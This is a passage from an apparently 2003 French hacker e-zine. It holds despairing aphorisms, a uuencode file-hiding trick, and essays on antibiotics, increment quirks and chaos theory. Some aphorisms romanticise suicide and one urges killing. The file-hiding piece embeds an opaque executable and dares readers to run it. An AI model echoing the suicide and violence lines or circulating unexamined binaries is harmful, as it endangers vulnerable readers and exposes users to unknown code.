sois-mme que la solitude.  Paralllement a l'ironie, l'homme qui
fini par se dcouvrir  son plein potentiel n'a  plus  de raisons
valables et potables de rester en vie : la solitude nous tue tous
un jour ou l'autre ...

*

Le problme avec la vie,  c'est n'est pas qu'elle soit totalement
insupportable, mais qu'elle nous ait t donne  notre naissance
sans qu'on ait un mot  placer.

*

Ne  vous battez pas contre une majorit, subissez-la, endurez-la,
jusqu'  ce  que  vous  en  ayez  assez,  jusqu'  ce que vous ne
puissiez mme plus y penser; ensuite tuez, sous  le  prtexte que
vous tes devenu fou.

*

Aujourdhui ma vie n'a plus aucun sens.  Je  me  refuge  derrire
toute personne prte   m'aider,  et plus  souvent  qu'autrement,
dans un laps de temps  relatif, elles me doivent. Jaurais aim
tre ignorant : ignorant comme un non ne ...

*

"Je n'ai pas rellement peur de  la  mort,  seulement  celle  par
souffrance", m'avait-il avou. Jaurais eu envie de lui expliquer
qu'on meurt par souffrance, tous les coups; elle dure en moyenne
72 ans : on l'appelle la vie.

*

Si la  vie valait  la  peine  d'tre vcue, se tuer perdrait tout
son charisme.

*

Pourquoi pleures-tu ? Si  seulement  dieu  pouvait exister; qu'un
seul instant, je puisse arrter de douter en son existence, je me
sentirais peut-tre moins seul,  et  j'aurais  quelqu'un vers qui
courir, vers qui me rfugier ... quelqu'un avec qui pleurer.

*

La raison pour laquelle  je n'ai jamais sombr  dans  l'utopie de
la posie, c'est que je n'ai pas l'amour des mots. Chaque mot est
un mot de trop, comme disait Cioran ...

*

Ce qui me fait le plus mal, ce n'est pas qu'on se reparlera plus,
mais qu'on s'est parl une dernire fois.

*

Les souvenirs que l'on conserve d'une personne  se doivent d'tre
uniquement crbral, les biens matriaux sont que de la nostalgie
potentielle.

*

Ces  heures  durant, o je regardais la noirceur  de  ma chambre,
m'imaginant la facilit  tre du nant ...

*

Vers le plus creux d'une priode  sombre,  on  devient  carrment
indiffrent  la souffrance.

*

Jadmire ceux qui ont eu le courage d'en finir, autant  que  ceux
qui ont eu le courage de continuer; mais  je  n'admire  pas  ceux
qui ont eu le courage de dire que la vie valait  la  peine dtre
vcue.

*

Mavoir dtach de tout  lien  d'amiti possible,  et tre encore
dans l'impossibilit de l'oublier : le malaise d'avoir mal russi
une des deux parties, l'goste de notre conscience ...

*

Avoir essay tout ce qui  ne  s'essaie  pas,  en  commenant  par
essayer d'avoir lair heureux.

*

Mavoir fait offert cette vie    n'importe  quel  ge, n'importe
quel moment, et de n'importe quelle faon;  encore  l,  j'aurais
srement rager, et tuer le donneur.

*

Cet  homme  avait  attendu  la mort tellement longtemps, qu'il en
avait fini par en oublier le sens tragique ...

*

Personne n'a  pu  tre  assez  mchant  pour  mriter  cette vie.

*

Il  est  d'un  drle de plaidoyer  que  de  se  dgager  de  tout
engagement  possible,  et  de   ne  mme  pas  essayer  de  faire
passer le temps.

*

Avoir  quand mme compris une partie  de  leur  personnalit,  je
n'ai toute  fois  jamais  compris  comment un  tre  pouvait tre
assez dranger pour imposer ses morales aux autres.

*

Le  suicide n'est jamais  un  acte accept, sauf par celui qui le
commet.

*

Comme si tout ce qui  tait  attach    notre  pass  n'est  pas
assez suffisant pour  se tuer, on  ne  peut  faire  autrement que
de penser au futur.

*

Cette sensation, si profonde et apaisante : la pense du mort que
l'on pourrait tre.

*

Plus  je  vis,  moins  le besoin  de  continuer  se  fait sentir.

*

Parmi  tous  ces intellects, on admire leur lucidit.  Parmi tous
ces gens dprims, on aimerait leur donner l'ignorance.

*

Cette nuit  l,  avoir  eu  un peu plus de lucidit, je me serais
srement tuer.

*

Ma lucidit,  tant  la  cause  numro  un  d'une dpression plus
longue que prvue.

*

Avoir eu X nombre de difficults,  il me semble quand mme encore
inacceptable de ma part de porter autant d'attention  cette vie.

*

Si  l'ensemble  nous  dmontre  le  suicide  comme  tant un acte
immoral, il n'est pas surprenant de voir que tant de gens  dcide
de mourir de faon naturelle.

*

A le regarder pleurer ainsi, il vient srement de raliser  quel
point il tait goste; goste  un tel point qu'il pleure  pour
lui-mme.

*

Ces ides noires sont souvent  plus   ralisables que les projets
d'une vie entire.

*

Il  n'y  a  pas  de  plus  fausse reprsentation qu'un livre, car
beaucoup de ces auteurs ont crit dans un vent de folie,  dans un
tat de panique,  dans une attaque contre leur lucidit : n'ayant
pas d'autres alternatives que d'crire,au risque de ne plus avoir
la chance de regretter quoi que ce soit.

*

Je crache sur cette socit en sachant trs bien que ce n'est pas
uniquement de sa faute si ce monde est devenu tel;mais le confort
d'avoir une cible prcise m'est de  beaucoup  plus  satisfaisante
qu'tre un fou sans raison.

*

J'aurais voulu ne jamais sombrer dans cet etat   mental,  ne  pas
l'avoir connu,  et  ne  meme  pas y penser.  Mais  ca  me  semble
carrement impossible,  car  en  naissant,  on s'attache a tout ce
qui  vient   avec,   en   commencant  par  une  conscience  asser
developer  pour  avoir  la  possibilit  de  s'imaginer  que l'on
aurait pu ne pas etre.

*

3h50 du matin,  l'idee  d'aller  me  coucher me  frappe l'esprit;
puis j'ai peur des malhaises que je  vais ressentir en me levant:
cet  amertume incontrolable,  la rage, la depression, l'ennui, et
surtout,  l'envi  de  ne  plus y etre ... une derniere cigarette,
j'irai peut-etre ensuite.

*

Sont  merite  n'etait  pas  d'avoir  crit de bon livres, mais de
l'avoir fait avant les autres.


*

plus on vieillie, moins on pleur et plus on ecrit.

*

un malhaise n'existe pas parce qu'on la nommer, mais car on
la ressentie.

*

la depression  profonde,  c'est  la  contre envi  d'essayer   des
solutions : il etait croyant  et  n'a  meme  pas  prit  la  peine
de  prier.  Il  etait  determiner  a  aller  dans  le  meme  sens
que sa  conscience, son esprit  la  guider  ainsi ...  cette  vie
lui  parraissait  trop  longue  et  cette  misere  trop  grande :
alors il s'est tuer.

*

on ne peut exploiter les choses qu'une fois comprises.

*

si j'avais su qu'il ne fallait jamais comprendre ...

*

j'ai courru longtemps, pour enfin m'arreter, et realiser a
quel point ce monde ne m'appartien pas et qu'il m'est
beaucoup plus aiser de ne rien faire ...

*

il y a trop de thoerie et pas asser de bonnes idees.

*

on cherche le bonheur que dans les mauvais moment
tellement on ne le percoi pas lorsqu'il est present.

*



                                                     c4ndu.

    .----- - -----------------------.
    |         /MinDKinD100      .---'----------- ---------- ------- ------.
    '-------- - -------------- -|              c4ndu@mindkind.org         |    
                                '-------- - ----------- ------------ -----'





UUE: la solution la plus cheap quon a trouver pour faire dla stgano et de
                   hidding de fichier contre les pais.

Dans Unix servez-vous  de "uuencode" pour  crer le dump  UUE des fichiers
que vous voulez encoder. Si vous avez juste windows, assayer Cygwin ou ben
dbrouiller vous  avec google..  heh. Voici  quoi mettre  dans le  fichier
blah.uue (qui va surement s'ouvrir dans Winzip sous Windows, si Winzip est
install) :


------------ blah.uue -----------------------------------------------


begin 400 mkd.gif
M1TE&.#EA+@$_`+,``````/___P``````````````````````````````````
M`````````````````````"P`````+@$_```$_C#(2:N]..O-N_]@*(YD:9YH
MJJYLZ[YP+,]T;=]XKN]\[__`H'!(+!J/R*1RR6PZG]"H=$JM6J_8K';+[7J_
MX+!X3"Z;S^BT>LUNN[.`N%PDGU?J<1T>8-E__#F`1X)1A!Z&`8@TB(H8C3*/
M0)%*DQ>,>'J8=YH=E2Z>/*!&HA.7=9FGFZF=G#>D@:U0KXFQM*NNM:*S*+LV
MO9*U'*9V.,-YA\$SOXO)3'O$&<_'1,9\3LO*S4O2UAK<H[G:1=B0XDG?&^C4
MX;?;YCWDH=+"\ZK0$MR5^>SWML35ZJ+MZT<O7RE^TPZVHS!0X,"%R)X5K-;G
M83>'#>TEQ,<)8#UO_A;I[%/8CZ*CD2<M;OSS$2/"BQP?3D3)\"7)E2IG&@R1
MT1].FRD#:I0YHN=-B4,K+C19<VE'H$U+0CTJ$FG4GTZS2H68[ITEFD>94DU*
M]BI,G]W$QMS*%BO!KE;'FE7:]NRL7D;7MM1K=RI?NFZGJ44+N*_6E3KK%EY<
M5BY+KHE?#I[L%^TCRH<-OP4)&7/=O)PW1Q1JN;+GP)KWSFW\ES5AGLU.IR;*
M"O)HU:!E,UYM]K+IW[:#(F[-VS%?T"[/PE[54[=KV:*)&W]=7/IMY=:I3R<7
MCWISX(J?2QY>77OVP3J3[][N-33YY?]H.B\/_?UY\*BK;IX_7;_]Q_'M\63>
M@/S=)^!Z!H977GK"S8;@@`#^!Y]@\N'GH'B9^9;9@^C!M9^%#T:(70F"?+<A
MA@JR=R"*^;$XHGH-<EB9B"T42""(+JJ88H(M@J#ACC>>N&`*-A:)8Y!`VLC@
M5T+JV&-_1![IY(7T065DD]DM*2.62#[)PI5)QA92CCQ261AI6C9(VH^JA066
MCU*6&>)QN%D99V]M>OA?3JZYV9E*$C(9)I<=EA:7G(@.:>A=YO"I*')TKOC&
MI)16:NFEF&:JZ::<=NKIIZ"&*NJHI)9JZJFHIJKJJJRVZNJKL,8JZZRTUFKK
0K;CFJNNNO/;JZZ\V1```.Z"&
`
end


Ici vous marquez ce que vous voulez, et vous avez de la
stganographie la plus cheap qu'on peut pas trouver!
Comment cacher du txt dans un file qui souvre "normal"?
La rponse: UUE!      OMG! WTF? OMG!!!


begin 000 :pastouche
M?T5,1@$!`0E&<F5E0E-$``(``P`!````GX`$"#0````<`0```````#0`(``!
M`"@`!0`$``$``````````(`$"`"`!`C-````S0````4`````$```````````
M``````````````````````````````````````````````````!M=7-H<F]O
M;2!M=7-H<F]O;2!M=7-H<F]O;2$*S8##:!P```!H@(`$"&@!````N`0```#H
MY/___X'$#````&@`````N`$```#HS____P````!4:&4@3F5T=VED92!!<W-E
M;6)L97(@,"XY.```+G-Y;71A8@`N<W1R=&%B`"YS:'-T<G1A8@`N=&5X=``N
M8G-S`"YC;VUM96YT````````````````````````````````````````````
M````````````&P````$````&````@(`$"(````!-```````````````0````
M`````"$````!`````0```,V0!`C-`````P```````````````0`````````F
M`````0``````````````T````!P```````````````$`````````$0````,`
B`````````````.P````O```````````````!````````````
`
end

------------ END OF blah.uue ----------------------------------------


Pour ceux qui se demande c'est quoi le foutu 400 dans begin 400, c'est  le
chmod que le fichier va avoir.. vidamment valide seulement pour unix,  et
fou pas les fichiers excutables sur les "bons" OS.

Donc vous avez  juste a ouvrir  le .uee dans  votre diteur et  changer le
:pastouche pour filename.machin et voila. Winzip va retourner une  erreure
conne, et Unix va extraire le filename. Coup chien de la semaine :  foutre
 comme filename, dans unix a cr  un fichier qui fait chier (jeu de  mot
mot de jeu!)  deleter...

BTW  le :pastouche  c't'un excutable  i386 FreeBSD 4.   vous d'avoir  le
courage de l'excuter?  8-)





    .-------[MinDKinD100\#100.06]------- ---- - -------. [M]ind[K]ind #100
    |                                                  | - 09/09/2003
    | . Le piratage biochimique                        | - Tigerbalm
    |                        aka                       '------------- ----.
    |        "un parallle entre linformatique et la biologie"           | 
    |        _____                                                .       |
    '------------------------[ again, again n again.]---- ----------------'   


Lordinateur est une machine o les ressources sont gres par un systme 
dexploitation.  On peut dire la mme chose du corps humain: une enveloppe 
charnelle contrle par le systme biochimique.  Ce qui est magnifique avec 
la biochimie ou la chimie: les rgles sont les mmes pour toutes les espces 
et ce, partout sur la plante.  Cest lapoge du systme dexploitation de 
la nature.

Et comme tout systme, il y a des failles.  Les bactries pathognes ont 
trouv des mthodes pour sinfiltrer en trompant la scurit des 
lymphocytes T.  Les virus se reproduisent en utilisant nos cellules.  Le 
cancer cause la dgnrescence de nos organes.  La maladie frappe tous les 
jours  nos portes.    

Lhumain a russi  comprendre ces phnomnes pour lui-mme pirater le 
systme.  Les vaccins augmentent lefficacit dans la reconnaissance des 
bactries nfastes (aide le systme immunitaire).  Les antibiotiques 
arrtent la prolifration des organismes nuisibles.  On est en quelque 
sorte notre propre agent de scurit.

Les antibiotiques sont littralement une innovation technologique.  Ils sont 
conus pour attaquer un lment essentiel  la survie des microbes.  Ils 
peuvent par exemple dtruire la paroi cellulaire dversant ainsi le matriel 
reproducteur prcieux et empchant le fonctionnement de la cellule (pnicilline, 
bacitracin, etc.).  Ils peuvent inhiber lARNm la privant ainsi des bases 
azotes pour synthtiser les protines pertinentes (rifampin).  Ils peuvent 
sattaquer directement au ribosome pour empcher la synthse des protines 
(erythromycin) ou encore truquer lADN (quinolones).  Chaque famille 
dantibiotique  sa stratgie unique pour protger ltre vivant.  

Mais les bactries nont pas dit leur dernier mot.  Elles contre-attaquent en 
modifiant leur structure molculaire pour empcher les antibiotiques (qui sont 
des molcules) deffectuer leur travail.  Alors les chimistes et les 
biochimistes retournent dans les laboratoires pour trouver une solution  ces 
nouveaux problmes.

La science a besoin de chercheurs.  Cest une lutte constante entre la maladie 
et la sant.  Le SRAS a donn seulement un aperu de ce qui pourrait arriver en 
lespace de quelques semaines. 

Vous avez le got de participer?

Ce nest pas trivial mais il faut commencer quelque part.  Des livres de chimie, 
chimie organique, biologie et biochimie vous seront utiles.  Il faut aller 
chercher les dernires informations sur le net dans des magazines de haut niveau.  
Je ne parle pas de Science et Vie ou tout ce que lon retrouve dans les 
librairies (matriel ultra vulgaris).  Je parle du  Journal of Medicinal 
Chemistry, Nature, Science Magazine, Journal of Organic Chemistry, Modern Drug 
Discovery, etc.  Trouvez-vous un ami universitaire: les journaux sont 
disponibles gratuitement en passant par un proxy.

En rsum, RTFM!


    .----- - -----------------------.
    |         /MinDKinD100      .---'----------- ---------- ------- ------.
    '-------- - -------------- -|         tigerbalm@mindkind.org          |    
                                '-------- - ----------- ------------ -----'




 
    Nant mathmatique ou escroquerie ?
    
    Voici un petit code bien simple, mais qui pourtant propose un problme
    un peu plus compliquer. En incrmentant une variable numrique de type
    integer dclar a "1" 3x dans la mme procdure  nous  arrivons  a  un
    rsultat tout a fait diffrent dpendamment du langage utilis.

    Evidement a na aucune valeur scientifique puisqu' la base   l'erreur
    vient d'une utilisation vague de l'incrmentation. Mais il en  demeure
    tout de  mme un  phnomne intressant  a regarder  telle le  dernier
    panda vivant ou binf qui code en asm at&t.


--------------------------------C-------------------------------------
#include <stdio.h>
int main() 
{
int x = 1;
int z;
z= ++x + ++x + ++x;
printf ("la valeur de z est %d\r\n", z);
return(0);
}
----------------------------------------------------------------------

-------------------------------C++------------------------------------
#include <iostream>
using namespace std;

int main(int argc,char* argv[])
{
unsigned int x = 1;
cout << "La valeur est " <<  ++x + ++x + ++x << endl;
return (0);
}
----------------------------------------------------------------------

-------------------------------JAVA-----------------------------------
public class test {
public static void main(String arg[]) {
	int x = 1;
	int z;
	z = ++x + ++x + ++x;
	System.out.println("z est egal a :" + z);
}
} 
----------------------------------------------------------------------

-------------------------------PHP------------------------------------
#!/usr/bin/php
<?php
$x = 1;
$z = ++$x + ++$x + ++$x;
print("$z \r\n");
?>
----------------------------------------------------------------------

-------------------------------TCL------------------------------------
#!/usr/bin/tclsh
set x 1
set z [expr [incr x] + [incr x] + [incr x]]
puts $z
----------------------------------------------------------------------

------------------------------PYTHON----------------------------------
#!/usr/bin/python
z=1
z1 = 1+z
z2 = 1+z1
z3 = 1+z2
z = z1 + z2 + z3
print z
----------------------------------------------------------------------

-------------------------------PERL-----------------------------------
#!/usr/bin/perl
my $x = 1;
my $z = ++$x + ++$x + ++$x;
print "$z\n" ;
----------------------------------------------------------------------

    
    Mathmatiquement parlant la rponse devrait tre 2 + 3 + 4 = 9. Certains 
    langages de programmation donnent 10... MYSTERE!!!!


-----CE QUE A PRINT--------------------------------------------------
PERL:	10
PYTHON:	9
TCL:	9
PHP:	9
JAVA:	9
C++:	10
C:	10

(C++/C tests avec GCC 2 et 3 et M$ Visual Studio 6.0)

Note:
Python est tellement bizzare, que 
z = ++z + ++z + ++z
donne 3.. mais bon ok le parser doit capoter pis faire
0 + 0 + z + 0 + 0 + z + 0 + 0 + z
hehe!
----------------------------------------------------------------------




    .-------[MinDKinD100\#100.07]------- ---- - -------. [M]ind[K]ind #100
    |                                                  | - 24/08/2003
    | . * le chaos (pour illaitrs)                    | - h3
    |                        aka                       '------------- ----.
    |                           "OMG the world is float!"                 | 
    |        _____                                                .       |
    '------------------------[ again, again n again.]---- ----------------'         

                    

                    135876495874984631864862158432485149798 *
                    594989101078L03242792472948729487231104
                    185159215328549E89743624439255872575821
                    4189234t81929448C2H29484294892449248424
                    292837239249583A4O958542983452985419511
		        319874191719827419S02341873491847915762

                    
    			   by h3 at mindkind dot org



                              [ P R  L U D E ]


	Imaginez  que les choses les plus  complexes  qui compose notre univers 
obissent    des  algorythmes  simples,  mais  itrs  l'infinis gnrant des 
systmes complxes et apparament alatoire ? Depuis longtemps les scientifiques
avaient  une  notion  du chaos, du "random", mais maintenant ils sont conscient 
que ce chaos contient  un certaint ordre  et  on  dvlopper  des  mthodes pour
le mesurer et l'illustr. Les premires recherches claires sur  ce  sujet  ne 
datent pas d'hier, en fait personne sait qui exactement  dcouvert ce principe
, mais l'un des premier   l'avoir rellement observ est Edward Lorenz en 1960 
Sur  un  ordinosaure  (un  Royal McBee qui ressemblait plus  un tas de tubes  
vide et de fils qu'un ordinateur) il simulait la mto sur sa bombe avec ses 60 
oprations  seconde.  c'est en  1961  en voulant simul une mto virtuelle sur 
sont ordinateur qu'il vis  pour la premiere fois le chaos, il entras des donns
mto rel  comme  point de dpart et dmerra sont application. Apres avoir t 
cherch  du  caf  pour  s'chapper  du  bruit  de  sont ordinosaure, il eu une 
surprise,  le  graphique  trac  par  sont ordinateur ne correspondait pas  la 
ralit, en fait, au dbut du graph les lignes se suivait de prs, mais plus le
graph  avancait  dans  le temps plus la  simulation  virtuel se dtachait de la 
ligne reprsentant la mto  rel  en  prsentant  des  courbes de plus en plus 
chaotique pour  enfin  n'avoir  plus  rien  voir avec la mto rel. Selon ses
calculs les 2 courbes auraient du se suivre, c'est un peu comme si un enfant de
1ere anne s'amuse  avec sa  calculatrice et assaye 2+2 et sa donne 4, alors il 
assaye 4+4 et s'attend a 8 mais rencontre 9. Aprs rflexion il ralisat que ce
n'tait pas sont  ordinateur  le  problme, mais sa prcision. Sont royal mcbee 
calculait des nombres  6 chiffres (1.234567) mais pour des raisons d'conomies
de  papier  il  arrondissait    la 3ieme dcimal (1.234) ce qui, pensat-il, ne 
donnerait  pas  de  diffrence  notable  sur le  produit final, mais vus que le 
processus de calcul est itr pratiquement indfiniment, la petite erreur  qui
s'est lentement gliss au  dbut  est  rapidement devenu une grosse qui prenait 
une ampleur exponentiel et erratique, n'importe quel mathmaticien ou physicien
aurait vu la une bizzarerie,  quelque  chose sans interrets rel qui n' pas ce 
sens ni de solutions,  mais  Lorenz,  un  mtorologue  y  vit le chaos pour la 
premire fois. La seconde grande dcouverte  de  Lorenz fut de trouver un moyen 
de  reprsenter  graphiquement l'ordre  dans  le  dsordre  avec  un  graphique 
cartsien  3 dimensions appeler "Attracteur de Lorenz", avec un opration non-
linaire simple iterr a l'infinis il obtenait des nombres  virgule  "random", 
ces  nombres n'avaient  aucune suite   logique  et  ne  semblait  avoir  aucune 
correlation,  aucun  moyen  de  dire  qu'il  provenait  de la  mme opration.. 
pourtant,  en utilisant cette opration pour trouv des points sur un graphique 
cartsien  3 dimensions, formait, au grand tonnement  de Lorenz, une  boucle 
infinie  clairement  dfinie  et  qui  semblait  obire   une trajectoire trs 
dterministe, mme  si aucun  point  ne  se  touchait, ni se rpetait. Il avait 
dcouvert  l'ordre  du dsordre, les  lois qui rgissent le fondement du chaos, 
ces mme  lois  qui allaient dans les annes 80 dfinir les systmes dynamiques
(pas le  genre de choses  qui  nous  montre dans  les coles,   vrai dire  les 
notions que nous apprenons a l'cole date tout simplement de l'antiquit).

	C'est bien  beaux  d'avoir  trouv un moyen de visualis le chaos, mais 
quoi peux  servir  de  une  telle notion ? Aussi inutile que sa puisse parate, 
c'est une notion  qui  aide    comprendre les comportements rratique et  les 
immiter. Les deux exemples pratique  les  plus simples que j'ai trouver sont la 
poussire de cantor et.. la formation de flocons de neige.

La poussire de cantor

	En Tlcommunication  le bruit est un phnomne bien connus, ce sont de
petites  intermitances  dans  le signal  qui   premire  vue  sont  totalement 
chaotique,  elle  brouille   le   signal  et   rend  difficile de  dcodage  de
l'information.  Formuler  une  opration  mathmatique  linaire qui limine ce 
bruit  est totalement impossible, de plus un tel code se composerait de millier 
de  lignes  de  codes.  avec  la  thorie  du  chaos, une simple opration comme
x>> = x-(x/3) rsoud le  problme  de  bruit  a  n'importe quelle chelle. pour 
figurer  la  poussire  de cantor (chaos.jpg, fig. 1) prennez une ligne droite, 
divisez la en 3.  Ensuite  enlev la section du milieux. Puis avec les 2 lignes 
droite qui  reste, rpetez  l'opration, jamais vous n'atteignerez la valeur 0, 
les valeurs restante  sont  appelez "poussire de cantor", cette mthode permet 
de calcul avec prcision, peu importe l'chelle de temps, l'arriv d'erreurs 
premire  vus   chaotique   dans   les   lignes  lectriques  ou  les  circuits 
lectroniques.. magique :0


   			   POUSSIRE DE CANTOR
                          (voir chaos.jpg fig. 1)

			000000000000000000000000000
			000000000000000000000000000  
		
			000000000         000000000 
			000000000         000000000
		             
			000   000         000   000
			000   000         000   000
			
			 0     0           0     0
			 0     0           0     0



	Pour ceux  qui  ont  encore  aucune  ide  de ce don je  parle, je vais 
y'aller  avec  une approche plus  gomtrique.  Si vous regardez la figure 2 de 
chaos.jpg, vous pouvez  voir un  triangle quilatrale noir, puis au tier de sa 
longueur j'ai ajout  un  triangle  du  tier  de sa grosseur et ainsi de suite, 
j'aurais pu  continuer  a l'infinis, trac un cercle autour du triangle initial 
et l'air total  de  la  figure final ne dpasserait pas celle du rond qui borde 
les pointe  du triangle initial. Les flocons de neige sont forms  partir d'un 
algorythme semblable,  ajout la  dpendence  sensitive  l'tat initial et les 
interfrences, et  vous avez  une multitudes  de flocons tous diffrents les un 
des autres, mais tous semblable.. comme dans la nature :) 





     ?  .\\-.
        |   o|__
        |C   /
        |   /
        \__o)__                                                        
        ((|))                                                     []
        /|    La turbulence                                     |)|| 
        |`| ||         des                                          |||    | 
        | |_||\          fluides..                    .'`',        |||____|
        |__3_|3.                                  .'`    ().)__/
          ||   `.                           ..'`         \/||||  
          | |     `..'`'..'`'..'`'..'`               | ||  ||
          ( \                                            (    )/  ||   
           \
                                                                              |  
	Un autre domaine dlaiss  par  les  science  que la thorie du chaos |
viendrait illumin,  est  la  turbulence  des  fluides.  Avec  des oprations |
linaires, les  super  ordinateura  n'arrivaient pas simul la turbulence des |
fluides a  long  therme.  A  vrai dire, ces   mmes  super  ordinateurs tait |
incapable de suivre la turbulences de fuildes plus de quelques secondes et ce :
dans  un  centimetre cube de  liquide  "virtuel".  Pourquoi  ?  Parce  que la ;
raction  des  fluides  est  totalement  imprvisible,  en  ralit,  il  est ,
rvisible, mais pas dans  sa totalit. Si l'on verse un liquide dans un autre ;
liquide, on  peu s'attendre  a  ce  que  le  liquide vers, par la gravit se 
retrouve dans le fond du contenant, puis remonte en crant un remous (qui est ,
en ralit 2 tourbillons inverss), mais au fur et a mesure que l'on augmente .
le dbit,  les  tourbillions  acclrent,  ils  peuvent  changer  de  direction 
spontanment avec une imprdictibilit implacable, pour finalement atteindre un
point critique  ou  il sont "brouills". Ce processus est un casse tte pour les 
mathmaticiens,  et  jusqu'aux 20ieme  siecle,  tait  considr  comme tant du 
domaine sotrique, purement ratique. Mais les plus grand penseurs n'on pas pus
se  rsoudre    un  simple  dsordre  inexpliquer,  ils savaient que derire se 
comportement  alatoire se  cachait  une  structure bien organise. En fait, une 
chose plus  que  tout  autre  cachait  la structure du chaos  l'tre humain; le 
bruit (noise).   Comme je  l'ai  mention,  le chaos est compos d'une opration 
simple rpte   l'infinis, par contre, ses oprations ncicittes des variables 
pour pouvoir  changer  de  leur  tat initial, ces variables sont en ralit des 
perturbateurs  extrieurs   au   phnomne  observ,  exemple;  pour  l'eau,  un 
perturbateur  pourrait  etre  la  chaleur  d'un  deuxime  liquide vers dans un 
premier, ou  une  vibration  altrant  le  tourbillons  d'un  liquide. La ou les 
mathmaticiens   et   autres  scientifiques  on  "gl",  c'est  que  malgr  les 
perturbations  extrieurs,  le  liquide gardait,  jusqu'   un  certain point de 
rupture,  un comportement qui tendait a suivre sont tat initial (cette tendence 
 suivre un comportement est appeler attracteur trange, ils sont partout autour
de nous, tout le monde  les capacit de les voir ou les trouver). Si  pour  une 
exprience,  l'tat  initial  d'un  liquide est un tourbillon, on lui inflige de 
petite vibrations,  le tourbillons  se brouillras  probablement lgrement, puis 
quand les  vibrations  seront  interrompues,  l'eau  recommencera a tourbillonn 
comme   sont  tat initial,  mais en dcroissant si l'effet de tourbillon n'est 
pas  maintenue  artificiellement,  pour  finalement  retourn    sont rel tat 
initial,  qui  tait  l'inertie.  Le  phnomne  en tant que tel semble simple  
premire    vue,   mais   sont    comportement   toutefois   est   impossible   
calcul   linairement,  et  sa    agac  les  mathmaticiens  depuis  que  les 
mathmatique  existe.  Puis  un  jours quelques jeunes exentriques dnigrs pour 
leur projets "hors normes" sont arrivs avec la solution du chaos. Mais  comment 
l'appliquer    la  turbulence  des  fluides ? de la mme faon que le reste. Un 
scientifique isola  une  goute  d'helium  liquide dans une petite capsule d'aci 
inoxidable pour limit les turbulences possible  l'intrieur. Puis en l'isolant
dans  un  bain  d'azote  liquide  il  russit   l'isol des vibrations du monde 
extrieur, puis en  rchauffant  un  peut  le  dessous de sa capsule il  cra un 
tourbillion  pratiquement  sans  "bruit"  ce  qui  lui  permit de dcortiqu les 
quations  mathmatique  de  base  qui  rgissait les mouvement de l'eau, par la 
suite il  n'avait  plusqu' les iterr  l'infinis pour avoir le comportement de 
l'eau.  Par  contre, cette quation vous donnerais le mouvement de l'eau sur une 
planete absente  de gravit, ou il fait 251 degr celsius et qui n'aurait aucune 
vibration. Donc  pour  avoir un comportement raliste vous prenez ses quations, 
les iterrs,  mais  en  tenant  compte  des  variables  externes,  ces variables
externes engendre  le  chaos dans l'quation simple de la vie, mais la structure 
principale de  l'quation  reste,  donnant un semblant d'ordre dans le dsordre, 
parfoit imperceptible  l'oeuil humain. Ce qu'il y' de bien  avec la thorie du 
chaos, c'est  que  contrairemnt au oprations linaire, il n'est pas obligatoire 
de possd toute  les  variables  d'un comportements, par exemple, vous pourriez 
faire un graphique a partir de donn basique, comme l'opration  iterr, et une
seule ou 2 variable suffirait pour  observ des comportements rratique soumis a 
des variables externes, bien sur elle ne donne pas l'exactitude de l'infinis, ce
qui serait impensable,  mais  elle donne le "range" de possibilits soumis  une
ou plusieurs variables, les graphiques qui en rsultes sont tudi sous forme de
fractales.

	J'ai    trouver sur le net une macro de program 3d qui sert a reproduire 
l'attracteur  de lorenz  en  3d sur PovRay, c'est pas un language connus mais sa 
donne une  ide  de  la  simplicit  de la chose, ce  code donne des coordonnes
cartsienne  avec prcision  sans jamais donn  2 fois  la mme  coordonn  tout
en restant  dans un  "range" spcific  (l'attracteur), sa  peu paraitre inutile,
mais dans une mthode d'encryptation lourde sa prendrais tout son sens.


//PovRay 3.5 macro by Marcus Fritzsch 
// N = number iterations
// h, a, b, c: initial parameters
// x0, y0, z0: start-location
// rad = radius of the spheres that trace the attractor

#macro lorenz(h, a, b, c, x0, y0, z0, N, rad)
// use it like: 
// lorenz(0.001099, 10, 28, 8/3, 0.0001, 0.0001, 0.0001, 350000, 0.04)
   #local i = 0;
   union {
   #while (i < N)
       #local x0 = x0 + h * a * (y0 - x0);
       #local y0 = y0 + h * (x0 * (b - z0) - y0);
       #local z0 = z0 + h * (x0 * y0 - c * z0);
       #if (i > 100)
           sphere { 
              <x0,y0,z0>, rad 
              pigment { color rgb <i/N,i/N,1> } 
           }
       #end
       #local i = i + 1;
   #end
   }
#end


//le algorythme en C

C source

#include "stdio.h"
#include "stdlib.h"
#include "math.h"

#define N 10000

int main(int argc,char **argv)
{
   int i=0;
   double x0,y0,z0,x1,y1,z1;
   double h = 0.01;
   double a = 10.0;
   double b = 28.0;
   double c = 8.0 / 3.0;

   x0 = 0.1;
   y0 = 0;
   z0 = 0;
   for (i=0;i<N;i++) {
      x1 = x0 + h * a * (y0 - x0);
      y1 = y0 + h * (x0 * (b - z0) - y0);
      z1 = z0 + h * (x0 * y0 - c * z0);
      x0 = x1;
      y0 = y1;
      z0 = z1;
      if (i > 100)
         printf("%d %g %g %g\n",i,x0,y0,z0);
   }
}


vous pouvez visualiser les rsultat de ces code ici:

  - http://astronomy.swin.edu.au/~pbourke/fractals/lorenz/
  - http://www.sat.t.u-tokyo.ac.jp/~hideyuki/java/Attract.html

c'est  ass  impressionnant  :)  Vous  pouvez  mme  jouer  en  temps  rel avec 
l'atracteur de  lorenz, vous  po uvez regarder  l'attracteur  se  former  de lui
mme ou  jouer avec en simulan du bruit,  qui pertube sa course, comme n'importe 
quelle bruit  perturbant un  systeme  dynamique,  enlevez se bruit et le systeme
tente naturellement a retrouver son parcours initial. Un applet  java le  simule
 cette adresse:

  - http://bloch.ciens.ucv.ve/~felix/Java/NonLinear/Lorenz/
  - http://www.expm.t.u-tokyo.ac.jp/~kanamaru/Chaos/e/Lorenz/Lorenz.html

version flash:

  - http://gozz.com/portfolio/lorenz_attractor/

pour les programmeurs C qui veulent s'amuser un peux :p 

  - http://www.gweep.net/~rocko/sufficiency/node25.html

pis les real hardcore qui veulent se mont un systeme lectronique analogique 
pour vision l'attracteur dans sa perfection imparfaite;

  - http://frank.harvard.edu/~paulh/misc/lorenz.htm

pis imaginez ceux qui sont encore plus leet pis qui on dcouvert une corrlation
dans ces suites de chiffres avec comme seul aide un bout de papier ou le premier
mod de calculatrice portable;

  - http://www.math.uu.se/~warwick/main/rodes/ResultFile

maintenant vous pouvez mme le faire runn sur palmOS :p

  - http://www.micoks.net/~dbennett/la.html

  
                              [ T H I N K E R S ]


	La raison pour  laquel  que les mrites d'avoir dcouvert le chaos tait 
difficillement attribuable est que plusieurs gnies de notre poques l'on vus ou
